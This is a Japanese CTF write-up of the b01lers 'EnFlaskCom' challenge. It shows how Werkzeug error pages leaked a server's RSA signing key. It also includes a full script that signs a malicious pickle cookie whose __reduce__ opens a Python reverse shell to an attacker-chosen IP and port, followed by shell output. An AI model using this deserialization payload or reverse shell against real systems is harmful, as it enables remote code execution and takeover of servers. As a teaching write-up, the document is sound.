EnFlaskCom
Some of the easiest crypto you've ever seen. Now go, hack the mainframe.
http://chal.ctf.b01lers.com:3000
調査
Flag is at /flag. Don't bother with a reverse shell.
/flag
にアクセスするとYou need to be admin
と言われる。
よく見るとクッキーが入っている。
user
80049518000000000000008c085f5f6d61696e5f5f948c04557365729493942981942e
signature
58ca1d226a6ab51440a142aa047ac2d564cdf80df647f816818879fb596b4485895861744bed09d4962917709c2a0dc1f8f14dbce24ee0868cf8efeca6f9ffd8f7405ea8fbcc494466ee30218c26faeb4bf6398a61f521b2acdf488191e034be808dccda36b8a26033bcb355502110cb3a3cccdc8287b51cbebc9b6e33574a5e
Server: Werkzeug/1.0.1 Python/3.8.2
んー、何から手を付ければいい?
Writeups
はーなるほど。エラーから情報を抜き出していくのか。
エラーを出そう!
Cookieのuserの最後の文字を変更して挙動を見てみると、エラーページが出てくる。
AssertionErrorとなるようだ。
Werkzeugのエラーページなので、pythonコンソールを出そうとして見るがPINコードを要求される。
こんな機能があるのか。
server.py
というファイル名でassert文で引っかかってるのは分かる。実はクリックすると近辺が見られる。
def flag(): signature = binascii.unhexlify(request.cookies.get("signature")) checkme = sign(request.cookies.get("user")) print(signature) print(checkme) assert signature == checkme user = pickle.loads(binascii.unhexlify(request.cookies.get("user"))) if user.is_admin(): <200b>with open('flag.txt', 'r') as f
pickleしてるのは分かったが、sign関数で何をしているかが気になる所…
cookieのuserを消すと別のエラーとなる。
def sign(msg): if type(msg) is not bytes: <200b>msg = bytes(msg, 'utf8') keyPair = RSA.RsaKey(n=122929120347181180506630461162876206124588624246894159983930957362668455150316050033925361228333120570604695808166534050128069551994951866012400864449036793525176147906281580860150210721340627722872013368881325479371258844614688187593034753782177752358596565495566940343979199266441125486268112082163527793027, e=65537, d=51635782679667624816161506479122291839735385241628788060448957989505448336137988973540355929843726591511533462854760404030556214994476897684092607183504108409464544455089663435500260307179424851133578373222765508826806957647307627850137062790848710572525309996924372417099296184433521789646380579144711982601, p=9501029443969091845314200516854049131202897408079558348265027433645537138436529678958686186818098288199208700604454521018557526124774944873478107311624843, q=12938505355881421667086993319210059247524615565536125368076469169929690129440969655350679337213760041688434152508579599794889156578802099893924345843674089, u=3286573208962127166795043977112753146960511781843430267174815026644571470787675370042644248296438692308614275464993081581475202509588447127488505764805156) signer = pkcs1_15.new(keyPair) hsh = SHA384.new() hsh.update(msg) signature = signer.sign(hsh)
すべて見えてる感じがある。
Insecure Deserialization on Pickle
ここまでくれば、Pickleすればよさそうな感じがする。
むっちゃ色々頑張ったけど、curlは用意されて無さそう…
公式解法では例外を出力先としていて、もう一つの解法ではなぜか入っているperlを使ってリバースシェルを起動している。
そうか。pythonは絶対入ってるから、pythonでリバースシェルを書けばいいのか。
色々参考にして以下のように書くとリバースシェル達成。
from Crypto.Hash import SHA384 from Crypto.PublicKey import RSA from Crypto.Signature import PKCS1_v1_5 as pkcs1_15 import binascii import pickle def sign(msg): if type(msg) is not bytes: msg = bytes(msg, 'utf8') keyPair = RSA.RsaKey(n=122929120347181180506630461162876206124588624246894159983930957362668455150316050033925361228333120570604695808166534050128069551994951866012400864449036793525176147906281580860150210721340627722872013368881325479371258844614688187593034753782177752358596565495566940343979199266441125486268112082163527793027, e=65537, d=51635782679667624816161506479122291839735385241628788060448957989505448336137988973540355929843726591511533462854760404030556214994476897684092607183504108409464544455089663435500260307179424851133578373222765508826806957647307627850137062790848710572525309996924372417099296184433521789646380579144711982601, p=9501029443969091845314200516854049131202897408079558348265027433645537138436529678958686186818098288199208700604454521018557526124774944873478107311624843, q=12938505355881421667086993319210059247524615565536125368076469169929690129440969655350679337213760041688434152508579599794889156578802099893924345843674089, u=3286573208962127166795043977112753146960511781843430267174815026644571470787675370042644248296438692308614275464993081581475202509588447127488505764805156) signer = pkcs1_15.new(keyPair) hsh = SHA384.new() hsh.update(msg) signature = signer.sign(hsh) return signature class User: def __reduce__(self): return exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('[ip]',[port]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('/bin/bash')",) code = pickle.dumps(User()) code = binascii.hexlify(code) print(code) print(binascii.hexlify(sign(code)))
以下のようにシェルが奪取できるので、好きに探索するとフラグがある。
root@f57a160a74e6:/var/www/enflaskcom# ls ls flag.txt requirements.txt server.py root@f57a160a74e6:/var/www/enflaskcom# cat flag.txt cat flag.txt flag{RsA-S0_secur3_e}